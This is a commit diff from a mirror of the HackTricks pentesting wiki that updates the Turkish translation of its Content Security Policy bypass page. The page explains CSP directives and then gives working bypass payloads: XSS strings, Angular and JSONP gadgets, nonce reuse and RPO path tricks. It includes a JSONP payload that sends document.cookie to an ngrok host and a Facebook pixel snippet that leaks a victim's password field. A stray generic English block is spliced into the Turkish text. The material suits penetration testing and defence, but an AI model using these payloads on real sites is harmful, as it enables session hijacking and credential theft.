mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 22:18:27 +00:00
Translated ['pentesting-web/content-security-policy-csp-bypass/README.md
This commit is contained in:
parent
3cdaa288bc
commit
0393728e36
1 changed files with 119 additions and 116 deletions
|
@ -2,15 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek katkıda bulunun.
|
||||
* **Hacking hilelerinizi paylaşarak HackTricks ve HackTricks Cloud** github depolarına PR göndererek katkıda bulunun.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -19,23 +19,23 @@ HackTricks'ı desteklemenin diğer yolları:
|
|||
Deneyimli hackerlar ve ödül avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
**Hacking İçgörüleri**\
|
||||
Hacking'in heyecanını ve zorluklarını inceleyen içeriklerle etkileşime geçin
|
||||
Hacking'in heyecanına ve zorluklarına inen içeriklerle etkileşime girin
|
||||
|
||||
**Gerçek Zamanlı Hack Haberleri**\
|
||||
Hızla değişen hacking dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın
|
||||
Hızlı tempolu hacking dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın
|
||||
|
||||
**En Son Duyurular**\
|
||||
Yeni ödül avı başlatmaları ve önemli platform güncellemeleri hakkında bilgi sahibi olun
|
||||
Yayınlanan en yeni ödül avı programları ve önemli platform güncellemeleri hakkında bilgi edinin
|
||||
|
||||
**Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliğine başlayın!
|
||||
|
||||
## CSP Nedir
|
||||
|
||||
İçerik Güvenlik Politikası (CSP), başlıca olarak **çapraz site komut dosyası (XSS) gibi saldırılara karşı koruma sağlamayı amaçlayan bir tarayıcı teknolojisi** olarak kabul edilir. Tarayıcı tarafından güvenli bir şekilde yüklenebilecek kaynakların yollarını ve kaynaklarını tanımlayarak çalışır. Bu kaynaklar, resimler, çerçeveler ve JavaScript gibi bir dizi öğeyi kapsar. Örneğin, bir politika aynı etki alanından (self), iç içe kaynaklardan ve `eval`, `setTimeout` veya `setInterval` gibi işlevler aracılığıyla dize kodunun yüklenmesine ve yürütülmesine izin verebilir.
|
||||
İçerik Güvenlik Politikası (CSP), başlıca olarak **çapraz site komut dosyası (XSS) gibi saldırılara karşı koruma sağlamayı amaçlayan bir tarayıcı teknolojisi** olarak kabul edilir. Tarayıcı tarafından güvenli bir şekilde yüklenebilecek kaynakların yollarını ve kaynakları tanımlayarak çalışır. Bu kaynaklar, resimler, çerçeveler ve JavaScript gibi bir dizi unsuru kapsar. Örneğin, bir politika, aynı etki alanından (self), iç kaynakları ve `eval`, `setTimeout` veya `setInterval` gibi fonksiyonlar aracılığıyla dize kodunun yüklenmesine ve yürütülmesine izin verebilir.
|
||||
|
||||
CSP'nin uygulanması **yanıt başlıkları** aracılığıyla veya **HTML sayfasına meta öğeler ekleyerek** gerçekleştirilir. Bu politikaya göre, tarayıcılar bu şartları proaktif olarak uygular ve tespit edilen ihlalleri derhal engeller.
|
||||
CSP'nin uygulanması **yanıt başlıkları** aracılığıyla veya **HTML sayfasına meta öğeleri ekleyerek** gerçekleştirilir. Bu politikaya göre, tarayıcılar bu şartları proaktif olarak uygular ve tespit edilen ihlalleri derhal engeller.
|
||||
|
||||
* Yanıt başlığı aracılığıyla uygulanmıştır:
|
||||
* Yanıt başlığı aracılığıyla uygulanır:
|
||||
```
|
||||
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
|
||||
```
|
||||
|
@ -47,12 +47,12 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
|
|||
|
||||
CSP, bu başlıklar kullanılarak zorunlu kılınabilir veya izlenebilir:
|
||||
|
||||
* `Content-Security-Policy`: CSP'yi zorunlu kılar; tarayıcı herhangi bir ihlali engeller.
|
||||
* `Content-Security-Policy`: CSP'yi zorlar; tarayıcı herhangi bir ihlali engeller.
|
||||
* `Content-Security-Policy-Report-Only`: İzleme için kullanılır; ihlalleri engellemeden raporlar. Üretim öncesi ortamlarda test etmek için idealdir.
|
||||
|
||||
### Kaynakları Tanımlama
|
||||
|
||||
CSP, etkin ve pasif içeriklerin yüklenmesi için kökenleri kısıtlar, iç içe JavaScript yürütme ve `eval()` kullanımı gibi yönleri kontrol eder. Bir örnek politika şöyle tanımlanır:
|
||||
CSP, etkin ve pasif içerik yükleme için kökenleri kısıtlar, iç içe JavaScript yürütme ve `eval()` kullanımı gibi yönleri kontrol eder. Bir örnek politika şöyle belirlenir:
|
||||
```bash
|
||||
default-src 'none';
|
||||
img-src 'self';
|
||||
|
@ -67,11 +67,11 @@ object-src 'none';
|
|||
### Yönergeler
|
||||
|
||||
* **script-src**: JavaScript için belirli kaynaklara izin verir, URL'ler, iç içe betikler ve olay işleyicileri veya XSLT stilleri tarafından tetiklenen betikler dahil.
|
||||
* **default-src**: Belirli getirme yönergeleri olmadığında kaynakları getirmek için varsayılan bir politika belirler.
|
||||
* **default-src**: Belirli getirme yönergeleri yokken kaynakları getirmek için varsayılan bir politika belirler.
|
||||
* **child-src**: Web işçileri ve gömülü çerikler için izin verilen kaynakları belirtir.
|
||||
* **connect-src**: fetch, WebSocket, XMLHttpRequest gibi arabirimler kullanılarak yüklenebilecek URL'leri kısıtlar.
|
||||
* **frame-src**: Çerçeveler için URL'leri kısıtlar.
|
||||
* **frame-ancestors**: Geçerli sayfayı gömebilecek kaynakları belirtir, `<frame>`, `<iframe>`, `<object>`, `<embed>` ve `<applet>` gibi öğeler için geçerlidir.
|
||||
* **frame-ancestors**: Geçerli sayfayı gömebilecek kaynakları belirtir, `<frame>`, `<iframe>`, `<object>`, `<embed>` ve `<applet>` gibi öğelere uygulanır.
|
||||
* **img-src**: Görüntüler için izin verilen kaynakları tanımlar.
|
||||
* **font-src**: `@font-face` kullanılarak yüklenen yazı tipleri için geçerli kaynakları belirtir.
|
||||
* **manifest-src**: Uygulama manifest dosyalarının izin verilen kaynaklarını tanımlar.
|
||||
|
@ -82,7 +82,7 @@ object-src 'none';
|
|||
* **plugin-types**: Bir sayfanın çağırabileceği mime türlerini kısıtlar.
|
||||
* **upgrade-insecure-requests**: Tarayıcılara HTTP URL'leri HTTPS'ye yeniden yazmalarını söyler.
|
||||
* **sandbox**: Bir `<iframe>`'in sandbox özniteliği gibi kısıtlamalar uygular.
|
||||
* **report-to**: Politika ihlal edildiğinde bir raporun gönderileceği bir grup belirtir.
|
||||
* **report-to**: Politika ihlal edildiğinde raporun gönderileceği bir grup belirtir.
|
||||
* **worker-src**: Worker, SharedWorker veya ServiceWorker betikleri için geçerli kaynakları belirtir.
|
||||
* **prefetch-src**: Getirilecek veya önceden getirilecek kaynaklar için geçerli kaynakları belirtir.
|
||||
* **navigate-to**: Bir belgenin herhangi bir şekilde (a, form, window.location, window.open, vb.) yönlendirebileceği URL'leri kısıtlar.
|
||||
|
@ -91,13 +91,13 @@ object-src 'none';
|
|||
|
||||
* `*`: `data:`, `blob:`, `filesystem:` şemalarına sahip olmayan tüm URL'lere izin verir.
|
||||
* `'self'`: Aynı etki alanından yükleme yapılmasına izin verir.
|
||||
* `'data'`: Veri şeması aracılığıyla kaynakların yüklenmesine izin verir (ör. Base64 kodlu görüntüler).
|
||||
* `'data'`: Verilerin veri şeması aracılığıyla yüklenmesine izin verir (örneğin, Base64 kodlu görüntüler).
|
||||
* `'none'`: Herhangi bir kaynaktan yükleme yapmayı engeller.
|
||||
* `'unsafe-eval'`: `eval()` ve benzeri yöntemlerin kullanımına izin verir, güvenlik nedenleriyle önerilmez.
|
||||
* `'unsafe-eval'`: `eval()` ve benzeri yöntemlerin kullanımına izin verir, güvenlik nedeniyle önerilmez.
|
||||
* `'unsafe-hashes'`: Belirli iç içe olay işleyicilerini etkinleştirir.
|
||||
* `'unsafe-inline'`: İç içe `<script>` veya `<style>` gibi kaynakların kullanımına izin verir, güvenlik nedenleriyle önerilmez.
|
||||
* `'unsafe-inline'`: İç içe `<script>` veya `<style>` gibi kaynakların kullanımına izin verir, güvenlik nedeniyle önerilmez.
|
||||
* `'nonce'`: Kriptografik bir nonce (bir kez kullanılan sayı) kullanarak belirli iç içe betikler için bir beyaz liste oluşturur.
|
||||
* Eğer JS sınırlı yürütme varsa, sayfa içinde kullanılan bir nonce'yi `doc.defaultView.top.document.querySelector("[nonce]")` ile almak ve ardından kötü amaçlı bir betik yüklemek için yeniden kullanmak mümkündür (strict-dynamic kullanılıyorsa, herhangi bir izin verilen kaynak yeni kaynaklar yükleyebilir, bu nedenle bu gerekli değildir), örneğin:
|
||||
* Eğer JS sınırlı yürütme varsa, sayfa içinde kullanılan bir nonce'yi `doc.defaultView.top.document.querySelector("[nonce]")` kullanarak almak ve ardından kötü amaçlı bir betik yüklemek için yeniden kullanmak mümkündür (strict-dynamic kullanılıyorsa, herhangi bir izin verilen kaynak yeni kaynaklar yükleyebilir, bu nedenle bu gerekli değildir), örneğin:
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -132,7 +132,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-inline';
|
|||
```
|
||||
Çalışan yük: `"/><script>alert(1);</script>`
|
||||
|
||||
#### self + 'unsafe-inline' Iframe'ler aracılığıyla
|
||||
#### Iframe'lar aracılığıyla self + 'unsafe-inline'
|
||||
|
||||
{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %}
|
||||
[csp-bypass-self-+-unsafe-inline-with-iframes.md](csp-bypass-self-+-unsafe-inline-with-iframes.md)
|
||||
|
@ -185,13 +185,13 @@ Eğer bir JS dosyası yükleyebilirseniz, bu CSP'yi atlayabilirsiniz:
|
|||
```
|
||||
Ancak, sunucunun **yüklenen dosyayı doğruladığı ve yalnızca belirli türde dosyaların yüklenmesine izin verdiği** oldukça olasıdır.
|
||||
|
||||
Dahası, sunucu tarafından kabul edilen bir uzantı kullanarak bir dosyanın içine **JS kodu yükleseniz bile (örneğin: _script.png_)** bu yeterli olmayabilir çünkü bazı sunucular, örneğin apache sunucusu, dosyanın MIME türünü uzantıya göre seçer ve Chrome gibi tarayıcılar, bir resim olması gereken bir şeyin içindeki Javascript kodunu **çalıştırmayı reddeder**. "Neyse ki", hatalar var. Örneğin, bir CTF'den öğrendiğim kadarıyla **Apache'nin** _**.wave**_ uzantısını tanımadığını, bu nedenle bir **ses/\*** MIME türüyle sunmadığını biliyorum.
|
||||
Dahası, sunucu tarafından kabul edilen bir uzantı kullanarak bir dosyanın içine **JS kodu yükleseniz bile (örneğin: _script.png_)** bu yeterli olmayabilir çünkü bazı sunucular gibi apache sunucusu **dosyanın MIME türünü uzantıya göre seçer** ve Chrome gibi tarayıcılar, bir resim olması gereken bir şeyin içindeki Javascript kodunu **çalıştırmayı reddeder**. "Neyse ki", hatalar var. Örneğin, bir CTF'den öğrendiğim gibi **Apache'nin** _**.wave**_ uzantısını tanımadığını, bu nedenle bir **ses/\*** MIME türüyle sunmadığını biliyorum.
|
||||
|
||||
Buradan, bir XSS ve dosya yükleme bulursanız ve **yanlış yorumlanan bir uzantı** bulmayı başarırsanız, o uzantıya sahip bir dosyayı ve betiğin İçeriğini yüklemeyi deneyebilirsiniz. Veya, sunucu yüklenen dosyanın doğru biçimini kontrol ediyorsa, bir **çokdilli** oluşturabilirsiniz ([burada bazı çokdilli örnekler](https://github.com/Polydet/polyglot-database)).
|
||||
|
||||
### Form-action
|
||||
|
||||
JS enjekte etmek mümkün değilse, örneğin kimlik bilgilerini **form eylemi enjekte ederek** dışarı sızarmayı deneyebilirsiniz (ve belki de şifre yöneticilerinin otomatik olarak şifreleri doldurmasını bekleyebilirsiniz). Bir [**örneği bu raporda bulabilirsiniz**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Ayrıca, `default-src`'nin form eylemlerini kapsamadığını unutmayın.
|
||||
JS enjekte etmek mümkün değilse, örneğin kimlik bilgilerini **form eylemi enjekte ederek** sızdırmayı deneyebilirsiniz (ve belki de şifre yöneticilerinin otomatik olarak şifreleri doldurmasını bekleyebilirsiniz). Bir [**örneği bu raporda bulabilirsiniz**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Ayrıca, `default-src`'nin form eylemlerini kapsamadığını unutmayın.
|
||||
|
||||
### Üçüncü Taraf Uç Noktaları + ('unsafe-eval')
|
||||
|
||||
|
@ -225,7 +225,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
|||
#### Angular + `window` nesnesini döndüren fonksiyonlara sahip bir kütüphane kullanarak yüklemeler ([bu yazıya bakın](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
|
||||
{% hint style="info" %}
|
||||
Yazı, `cdn.cloudflare.com` (veya izin verilen başka JS kütüphaneleri deposu) üzerinden **tüm kütüphaneleri yükleyebileceğinizi**, her kütüphaneden eklenen tüm fonksiyonları çalıştırabileceğinizi ve **hangi kütüphanelerden hangi fonksiyonların `window` nesnesini döndürdüğünü kontrol edebileceğinizi** göstermektedir.
|
||||
Yazı, `cdn.cloudflare.com` (veya izin verilen başka JS kütüphaneleri deposu) üzerinden **tüm kütüphaneleri yükleyebileceğinizi**, her kütüphaneden eklenen tüm fonksiyonları çalıştırabileceğinizi ve **hangi fonksiyonların hangi kütüphanelerden `window` nesnesini döndürdüğünü** kontrol edebileceğinizi göstermektedir.
|
||||
{% endhint %}
|
||||
```markup
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
||||
|
@ -250,7 +250,9 @@ Yazı, `cdn.cloudflare.com` (veya izin verilen başka JS kütüphaneleri deposu)
|
|||
{{[].erase.call().alert('xss')}}
|
||||
</div>
|
||||
```
|
||||
## Bir sınıf adından Angular XSS:
|
||||
## Angular XSS from a class name:
|
||||
|
||||
### Sınıf adından Angular XSS:
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
|
@ -269,7 +271,7 @@ ng-init="c.init()"
|
|||
|
||||
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
|
||||
```
|
||||
Daha fazla [**bu yazıdan payloadlar**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/) bulabilirsiniz:
|
||||
Daha fazla [**bu yazıdan payloadlar**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/) bulunabilir:
|
||||
```html
|
||||
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
|
||||
|
||||
|
@ -286,19 +288,19 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
|
|||
```
|
||||
#### www.google.com'un açık yönlendirmesi için kötüye kullanım
|
||||
|
||||
Aşağıdaki URL, example.com'a yönlendirme yapar ([buradan](https://www.landh.tech/blog/20240304-google-hack-50000/) alındı):
|
||||
Aşağıdaki URL, örnek.com'a yönlendirme yapar (buradan [buraya](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
||||
```
|
||||
https://www.google.com/amp/s/example.com/
|
||||
```
|
||||
### Üçüncü Taraf Uç Noktaları + JSONP
|
||||
|
||||
\*.google.com/script.google.com'ı Kötüye Kullanma
|
||||
\*.google.com/script.google.com kötüye kullanımı
|
||||
|
||||
Google Apps Script kötüye kullanılarak script.google.com içinde bir sayfada bilgi almak mümkündür. Bu [bu raporda](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/) olduğu gibi yapılabilir.
|
||||
Google Apps Script kötüye kullanılarak script.google.com içinde bir sayfada bilgi almak mümkündür. Bu [raporda olduğu gibi](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/) yapılmıştır.
|
||||
```http
|
||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||
```
|
||||
Belirli alan adı beyaz listesine alınmış olan senaryolarda `script-src` `self` ve belirli bir alan adı olarak ayarlandığında JSONP kullanılarak atlatılabilir. JSONP uç noktaları güvensiz geri çağırma yöntemlerine izin verir, bu da bir saldırganın XSS gerçekleştirmesine olanak tanır, çalışan yük:
|
||||
Belirli alan adı beyaz listesine alınmış olan senaryolarda `script-src`nin `self` ve belirli bir alan adı olarak ayarlandığı durumlar JSONP kullanılarak atlatılabilir. JSONP uç noktaları güvensiz geri çağırma yöntemlerine izin verir ve saldırganın XSS gerçekleştirmesine olanak tanır, çalışan yük:
|
||||
```markup
|
||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||
|
@ -310,47 +312,52 @@ https://www.youtube.com/oembed?callback=alert;
|
|||
```
|
||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **farklı web sitelerinin CSP atlatmasına hazır JSONP uç noktaları içerir.**
|
||||
|
||||
Aynı zafiyet, **güvenilen uç nokta bir Açık Yönlendirme içeriyorsa** meydana gelecektir çünkü başlangıç uç noktası güvenilirse, yönlendirmeler güvenilir olacaktır.
|
||||
Aynı zafiyet, **güvenilir uç nokta bir Açık Yönlendirme içeriyorsa** meydana gelecektir çünkü başlangıç uç noktası güvenilirse, yönlendirmeler güvenilir olacaktır.
|
||||
|
||||
### Üçüncü Taraf Kötüye Kullanımları
|
||||
### Üçüncü Taraf Kötüye Kullanımlar
|
||||
|
||||
[şu yazıda](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses) açıklandığı gibi, CSP'de bir yerlerde izin verilmiş olan birçok üçüncü taraf alanı, ya veri sızdırmak ya da JavaScript kodu yürütmek için kötüye kullanılabilir. Bu üçüncü taraflardan bazıları şunlardır:
|
||||
|
||||
| Kuruluş | İzin Verilen Alanlar | Yetenekler |
|
||||
| ----------------- | -------------------------------------------- | ------------ |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Veri Sızdırma|
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Veri Sızdırma|
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Sızdırma |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Sızdırma |
|
||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Yürütme |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Veri Sızdırma, Yürütme |
|
||||
| Amazon AWS | \*.amazonaws.com | Veri Sızdırma, Yürütme |
|
||||
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Veri Sızdırma, Yürütme |
|
||||
| Salesforce Heroku | \*.herokuapp.com | Veri Sızdırma, Yürütme |
|
||||
| Google Firebase | \*.firebaseapp.com | Veri Sızdırma, Yürütme |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Sızdırma, Yürütme |
|
||||
| Amazon AWS | \*.amazonaws.com | Sızdırma, Yürütme |
|
||||
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Sızdırma, Yürütme |
|
||||
| Salesforce Heroku | \*.herokuapp.com | Sızdırma, Yürütme |
|
||||
| Google Firebase | \*.firebaseapp.com | Sızdırma, Yürütme |
|
||||
|
||||
Hedefinizin CSP'sinde izin verilen alanlardan herhangi birini bulursanız, büyük ihtimalle CSP'yi atlatmayı, üçüncü taraf hizmetine kaydolmayı ve ya veriyi o hizmete sızdırmayı ya da kodu yürütmeyi başarabilirsiniz.
|
||||
Hedefinizin CSP'sinde izin verilen alanlardan herhangi birini bulursanız, büyük ihtimalle üçüncü taraf hizmetine kaydolarak CSP'yi atlayabilir ve ya veriyi o hizmete sızdırabilir ya da kodu yürütebilirsiniz.
|
||||
|
||||
Örneğin, aşağıdaki CSP'yi bulursanız:
|
||||
```
|
||||
Content-Security-Policy: default-src 'self’ www.facebook.com;
|
||||
```
|
||||
# CSP Bypass Techniques
|
||||
# Content Security Policy (CSP) Bypass
|
||||
|
||||
Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. However, there are ways to bypass CSP protections and execute malicious code on a target website.
|
||||
## Introduction
|
||||
|
||||
In this section, we will explore various techniques to bypass CSP and achieve successful exploitation.
|
||||
Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. However, misconfigurations or bypasses in CSP can lead to security vulnerabilities.
|
||||
|
||||
## Table of Contents
|
||||
## Bypass Techniques
|
||||
|
||||
- [Introduction to CSP Bypass](01-intro.md)
|
||||
- [Bypassing CSP with Inline Scripts](02-inline-scripts.md)
|
||||
- [Bypassing CSP with External Scripts](03-external-scripts.md)
|
||||
- [Bypassing CSP with Inline Styles](04-inline-styles.md)
|
||||
- [Bypassing CSP with External Styles](05-external-styles.md)
|
||||
- [Bypassing CSP with Nonces](06-nonces.md)
|
||||
- [Bypassing CSP with Hashes](07-hashes.md)
|
||||
- [Bypassing CSP with Trusted Types](08-trusted-types.md)
|
||||
### 1. Inline Script Bypass
|
||||
|
||||
Each technique will cover the concept, implementation, and examples to help you understand how to bypass CSP effectively.
|
||||
When CSP is configured to block inline scripts (`'unsafe-inline'`), attackers can bypass this restriction by using techniques like **nonce-based bypass**, **hash-based bypass**, or **tricking the CSP**.
|
||||
|
||||
### 2. External Script Bypass
|
||||
|
||||
If CSP is configured to only allow scripts from specific domains, attackers can bypass this restriction by **hosting malicious scripts on allowed domains**, **using subdomains**, or **exploiting misconfigured whitelists**.
|
||||
|
||||
### 3. Script-src Bypass
|
||||
|
||||
Attackers can bypass CSP by **injecting scripts using other directives** like `connect-src`, `img-src`, or `style-src`.
|
||||
|
||||
## Conclusion
|
||||
|
||||
Understanding how CSP works and the potential bypass techniques is crucial for security professionals to effectively protect web applications from attacks. Regular security assessments and testing can help identify and mitigate CSP bypass vulnerabilities.
|
||||
```
|
||||
Content-Security-Policy: connect-src www.facebook.com;
|
||||
```
|
||||
|
@ -358,21 +365,21 @@ Content-Security-Policy: connect-src www.facebook.com;
|
|||
2. Yeni bir "Facebook Giriş" uygulaması oluşturun ve "Website" seçeneğini seçin.
|
||||
3. "Ayarlar -> Temel"e gidin ve "Uygulama Kimliği"nizi alın.
|
||||
4. Veri sızdırmak istediğiniz hedef sitede, Facebook SDK cihazı "fbq" ve "customEvent" ile veri yükünü doğrudan kullanarak veri sızdırabilirsiniz.
|
||||
5. Uygulama "Etkinlik Yöneticisi"ne gidin ve oluşturduğunuz uygulamayı seçin (etkinlik yöneticisinin URL'si şuna benzer bir URL'de bulunabilir: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events)
|
||||
5. Uygulama "Etkinlik Yöneticisi"ne gidin ve oluşturduğunuz uygulamayı seçin (etkinlik yöneticisinin URL'si şuna benzer bir yerde bulunabilir: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events)
|
||||
6. "Test Etkinlikleri" sekmesini seçerek "sizin" web siteniz tarafından gönderilen etkinlikleri görebilirsiniz.
|
||||
|
||||
Sonra, kurban tarafında, aşağıdaki kodu çalıştırarak Facebook takip pikselini başlatın ve saldırganın Facebook geliştirici hesabı uygulama kimliğine işaret eden özel bir etkinlik oluşturun:
|
||||
Ardından, kurban tarafında, aşağıdaki kodu yürüterek Facebook takip pikselini başlatın ve saldırganın Facebook geliştirici hesabı uygulama kimliğine işaret eden özel bir etkinlik oluşturun:
|
||||
```JavaScript
|
||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||
fbq('trackCustom', 'My-Custom-Event',{
|
||||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
||||
});
|
||||
```
|
||||
### Önceki tabloda belirtilen diğer yedi üçüncü taraf alanı için, bunları kötüye kullanabileceğiniz birçok başka yol vardır. Diğer üçüncü taraf kötüye kullanımları hakkında ek açıklamalar için önceki [blog yazısına](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) başvurun.
|
||||
### Önceki tabloda belirtilen diğer yedi üçüncü taraf etki alanı için, bunları kötüye kullanabileceğiniz birçok başka yol vardır. Diğer üçüncü taraf kötüye kullanımlar hakkında ek açıklamalar için önceki [blog gönderisine](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) başvurun.
|
||||
|
||||
### RPO (Relative Path Overwrite) Aracılığıyla Atlatma <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
|
||||
Yukarıda belirtilen yönlendirmeye ek olarak, bazı sunucularda kullanılabilen Relative Path Overwrite (RPO) adlı başka bir teknik bulunmaktadır.
|
||||
Yukarıda bahsedilen yönlendirmeye ek olarak, bazı sunucularda kullanılabilen Relative Path Overwrite (RPO) adlı başka bir teknik bulunmaktadır.
|
||||
|
||||
Örneğin, CSP'nin `https://example.com/scripts/react/` yoluna izin verdiği durumda, aşağıdaki gibi atlatılabilir:
|
||||
```html
|
||||
|
@ -380,13 +387,13 @@ Yukarıda belirtilen yönlendirmeye ek olarak, bazı sunucularda kullanılabilen
|
|||
```
|
||||
Tarayıcı sonunda `https://example.com/scripts/angular/angular.js` adresini yükleyecektir.
|
||||
|
||||
Bu, tarayıcı için, `https://example.com/scripts/react/` altında bulunan `..%2fangular%2fangular.js` adlı bir dosya yüklüyormuş gibi göründüğü için çalışır, bu da CSP'ye uygundur.
|
||||
Bu, tarayıcı için, `https://example.com/scripts/react/` altında bulunan `..%2fangular%2fangular.js` adlı bir dosyayı yüklediğiniz anlamına gelir ve bu, CSP'ye uygundur.
|
||||
|
||||
Sonuç olarak, bunu çözecek ve `https://example.com/scripts/react/../angular/angular.js` adresini etkili bir şekilde isteyecek ve bu da `https://example.com/scripts/angular/angular.js` ile eşdeğerdir.
|
||||
Sonuç olarak, tarayıcı bunu çözecek ve etkili bir şekilde `https://example.com/scripts/react/../angular/angular.js` adresini isteyecektir, bu da `https://example.com/scripts/angular/angular.js` ile eşdeğerdir.
|
||||
|
||||
Tarayıcı ve sunucu arasındaki URL yorumlama tutarsızlığını **sömürerek yol kuralları atlatılabilir**.
|
||||
**Tarayıcı ve sunucu arasındaki URL yorumlama tutarsızlığını sömürerek, yol kuralları atlatılabilir**.
|
||||
|
||||
Çözüm, sunucu tarafında `%2f`'yi `/` olarak işlememektir, böylece tarayıcı ve sunucu arasında tutarlı yorumlama sağlanır ve bu sorundan kaçınılır.
|
||||
Çözüm, sunucu tarafında `%2f`'yi `/` olarak işlememektir, böylece tarayıcı ve sunucu arasında tutarlı yorumlama sağlanarak bu sorundan kaçınılır.
|
||||
|
||||
Çevrimiçi Örnek: [https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
||||
|
||||
|
@ -398,9 +405,9 @@ Tarayıcı ve sunucu arasındaki URL yorumlama tutarsızlığını **sömürerek
|
|||
|
||||
### eksik **base-uri**
|
||||
|
||||
Eğer **base-uri** yönergesi eksikse, [**dangling markup injection**](../dangling-markup-html-scriptless-injection/) gerçekleştirmek için bunu kötüye kullanabilirsiniz.
|
||||
Eğer **base-uri** yönergesi eksikse, bunu kötüye kullanarak [**dangling markup injection**](../dangling-markup-html-scriptless-injection/) gerçekleştirebilirsiniz.
|
||||
|
||||
Ayrıca, **sayfa bir Nonce kullanarak bir göreli yol** (örneğin `<script src="/js/app.js">`) kullanarak bir betik yüklüyorsa, **base** **etiketini kötüye kullanarak** **kendi sunucunuzdan betiği yüklemesini sağlayabilir ve XSS saldırısı gerçekleştirebilirsiniz.**\
|
||||
Ayrıca, **sayfa bir Nonce kullanarak bir göreli yol** (örneğin `<script src="/js/app.js">`) kullanarak bir betik yüklüyorsa, **base** **tag**'ını kötüye kullanarak **kendi sunucunuzdan betiği yüklemesini sağlayabilir ve XSS saldırısı gerçekleştirebilirsiniz.**\
|
||||
Eğer zafiyetli sayfa **httpS** ile yükleniyorsa, base'de bir httpS URL kullanın.
|
||||
```html
|
||||
